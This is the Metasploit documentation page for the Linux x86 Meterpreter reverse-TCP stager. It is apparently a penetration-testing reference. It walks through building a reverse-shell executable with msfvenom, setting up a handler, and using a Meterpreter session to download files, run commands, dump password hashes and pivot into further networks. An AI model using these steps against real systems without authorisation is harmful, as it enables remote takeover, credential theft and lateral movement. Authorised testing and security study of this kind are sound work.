Linux Mettle x86, Reverse TCP Stager - Metasploit


This page contains detailed information about how to use the payload/linux/x86/meterpreter/reverse_tcp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Linux Mettle x86, Reverse TCP Stager
Module: payload/linux/x86/meterpreter/reverse_tcp
Source code: modules/payloads/stagers/linux/x86/reverse_tcp.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86
Supported platform(s): Linux, Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Inject the mettle server payload (staged). Connect back to the attacker

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use payload/linux/x86/meterpreter/reverse_tcp
msf payload(reverse_tcp) > show options
    ... show and set options ...
msf payload(reverse_tcp) > generate

To learn how to generate payload/linux/x86/meterpreter/reverse_tcp with msfvenom, please read this.

Required Options

  • LHOST: The listen address (an interface may be specified)

Knowledge Base

linux/x86/meterpreter/reverse_tcp is the most popular payload against the Linux platform. It allows you to remotely take over the compromised system, having control of the file system, collect sensitive information such as credentials using post modules, etc.

linux/x86/meterpreter/reverse_tcp is also the default payload for most Linux exploits.

Vulnerable Application

linux/x86/meterpreter/reverse_tcp should work on either 32 or 64-bit Linux platforms.

Deploying linux/x86/meterpreter/reverse_tcp

linux/x86/meterpreter/reverse_tcp can be used in two different ways.

As an exploit payload

Many Linux exploits support native payloads, but not always. To check this, you can use the info command on the exploit you want to use:

msf exploit(lsa_transnames_heap) > info

       Name: Samba lsa_io_trans_names Heap Overflow
     Module: exploit/linux/samba/lsa_transnames_heap
   Platform: Linux
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2007-05-14
...

If the platform field includes Linux, then that means you can use linux/x86/meterpreter/reverse_tcp and other Linux payloads.

Sometimes, you need to select a specific target to be able to use a native Linux payload. To check this, do:

show targets

If there is a Linux target, use that:

set TARGET [index]

To actually set the payload:

  1. In msfconsole, load the exploit.
  2. Do: set PAYLOAD linux/x86/meterpreter/reverse_tcp
  3. Set the LHOST option, which is the IP the payload should connect back to.
  4. Run the exploit

As a standalone executable

To use linux/x86/meterpreter/reverse_tcp as an executable, first you can generate it with msfvenom:

./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f elf -o /tmp/payload.bin

Before sending the executable to the victim machine, you need to set up the handler on your end:

  1. Start msfconsole
  2. Do: use exploit/multi/handler
  3. Do: set PAYLOAD linux/x86/meterpreter/reverse_tcp
  4. Do: set LHOST [Your IP]
  5. Do: run

And that should start the listener. When the victim runs the malicious executable, you should receive a session:

msf exploit(handler) > run

[*] Started reverse TCP handler on 172.16.23.1:4444 
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 172.16.23.182
[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.182:45009) at 2016-07-06 22:40:35 -0500

meterpreter >

Important Basic Commands

Here is a list of some of the common commands you might need while using the Linux Meterpreter:

pwd

The pwd command tells you the current working directory. For example:

meterpreter > pwd
/home/sinn3r/Desktop

cd

The cd command allows you to change directories. Example:

meterpreter > cd /tmp

cat

The cat command allows you to see the content of a file:

meterpreter > cat /tmp/data.txt
hello world

upload

The upload command allows you to upload a file to the remote target. For example:

meterpreter > upload /tmp/data.bin /home/sinn3r/Desktop
[*] uploading  : /tmp/data.bin -> /home/sinn3r/Desktop
[*] uploaded   : /tmp/data.bin -> /home/sinn3r/Desktop/data.bin
meterpreter >

download

The download command allows you to download a file from the remote target to your machine. For example:

meterpreter > download /home/sinn3r/Desktop/data.bin /tmp
[*] downloading: /home/sinn3r/Desktop/data.bin -> /tmp/data.bin
[*] download   : /home/sinn3r/Desktop/data.bin -> /tmp/data.bin

ifconfig/ipconfig

ifconfig and ipconfig are actually the same thing. They allow you to see the network interfaces on the remote machine.

getuid

The getuid command tells you the current user that Meterpreter is running on. For example:

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000

execute

The execute command allows you to execute a command or file on the remote machine. For example:

meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
Process 5292 created.

ps

The ps command lists the running processes on the remote machine.

shell

The shell command allows you to interact with the remote machine's terminal (or shell). For example:

meterpreter > shell
Process 5302 created.
Channel 6 created.
$

If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.

sysinfo

The sysinfo command shows you basic information about the remote machine. Such as:

  • Computer name
  • OS name
  • Architecture
  • Meterpreter type

For example:

meterpreter > sysinfo
Computer     : sinn3r-virtual-machine
OS           : Linux sinn3r-virtual-machine 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter >

Other commands

For a complete list of Linux Meterpreter commands, do the following at the prompt:

meterpreter > help

Using a Post module

One of the best things about Meterpreter is you have access to a variety of post modules that "shell" sessions might not have. Post modules provide you with more capabilities to collect data from the remote machine automatically. For example, stealing credentials from the system or third-party applications, or modify settings, etc.

To use a post module from the Meterpreter prompt, simply use the run command. The following is an example of collecting Linux hashes using post/linux/gather/hashdump:

meterpreter > run post/linux/gather/hashdump

[+] root:$6$cq9dV0jD$DZNrPKKIzcJaJ1r1xzdePEJTzn5f2V5lm9CnSdkMRPJfYy7QVx2orpzlf1XXBbIRZs7kT9CmYEMApfUIrWZsj/:0:0:root:/root:/bin/bash
[+] sinn3r:$6$S5lRz0Ji$bS0rOko3EVsAXwqR1rNcE/EhpnezmKH08Yioxyz/gLZAGh3AoyV5qCglvHx.vSINJNqs1.xhJix3pWX7jw8n0/:1000:1000:sinn3r,,,:/home/sinn3r:/bin/bash
[+] Unshadowed Password File: /Users/wchen/.msf4/loot/20160707112433_http_172.16.23.182_linux.hashes_845236.txt
meterpreter >

Note that in order to collect Linux hashes, Meterpreter needs to run as root.

Using the Post Exploitation API in IRB

To enter IRB, do the following at the Meterpreter prompt:

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>>

The client object

The client object in Meterpreter allows you to control or retrieve information about the host. For example, this allows you to get the current privilege our payload is running as:

>> client.sys.config.getuid
=> "uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000"

To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it:

>> client.inspect

You can also use the #methods method to see what methods you can use:

>> client.methods

To review the source of the method, you can use the #source_location method. For example, say we want to see the source code for the #getuid method:

>> client.sys.config.method(:getuid).source_location
=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32]

The first element of the array is the location of the file. The second is the line number of the method.

Routing Through the portfwd Commands

The portfwd command allows you to talk to a remote service like it's local. For example, if you cannot talk to the blocked HTTP service remotely on the compromised host due to whatever reason, then you can use portfwd to establish that tunnel:

meterpreter > portfwd add -l 8000 -p 8000 -r 172.16.23.182
[*] Local TCP relay created: :8000 <-> 172.16.23.182:8000

And then talk to it like it's a local service:

msf auxiliary(http_version) > run

[*] 127.0.0.1:8000 SimpleHTTP/0.6 Python/2.7.6
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(http_version) >

Routing Through msfconsole

The route command from the msf prompt can also be used like portfwd, but it also allows you to reach out to other networks that the compromised host is connected to.

To use route, first look at the ipconfig/ifconfig output and determine your pivot point:

meterpreter > ipconfig

Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt, and establish that route:

msf > route add 192.168.1.0 255.255.255.0 1

At that point, you should have a working pivot. You can use other Metasploit modules to explore or exploit more hosts on the network, or use auxiliary/server/socks4a and Proxychains to allow other third-party tools to do the same.

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Msfconsole Usage

Here is how the linux/x86/meterpreter/reverse_tcp payload looks in the msfconsole:

msf6 > use payload/linux/x86/meterpreter/reverse_tcp

msf6 payload(linux/x86/meterpreter/reverse_tcp) > show info

       Name: Linux Mettle x86, Reverse TCP Stager
     Module: payload/linux/x86/meterpreter/reverse_tcp
   Platform: Linux, Linux
       Arch: x86
Needs Admin: No
 Total size: 123
       Rank: Normal

Provided by:
  William Webb <[email protected]>
  skape <[email protected]>
  egypt <[email protected]>
  tkmru

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Description:
  Inject the mettle server payload (staged). Connect back to the 
  attacker

Module Options

This is a complete list of options available in the linux/x86/meterpreter/reverse_tcp payload:

msf6 payload(linux/x86/meterpreter/reverse_tcp) > show options

Module options (payload/linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Advanced Options

Here is a complete list of advanced options supported by the linux/x86/meterpreter/reverse_tcp payload:

msf6 payload(linux/x86/meterpreter/reverse_tcp) > show advanced

Module advanced options (payload/linux/x86/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

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See Also

Check also the following modules related to this module:

Authors

  • William Webb <william_webb[at]rapid7.com>
  • skape
  • egypt
  • tkmru

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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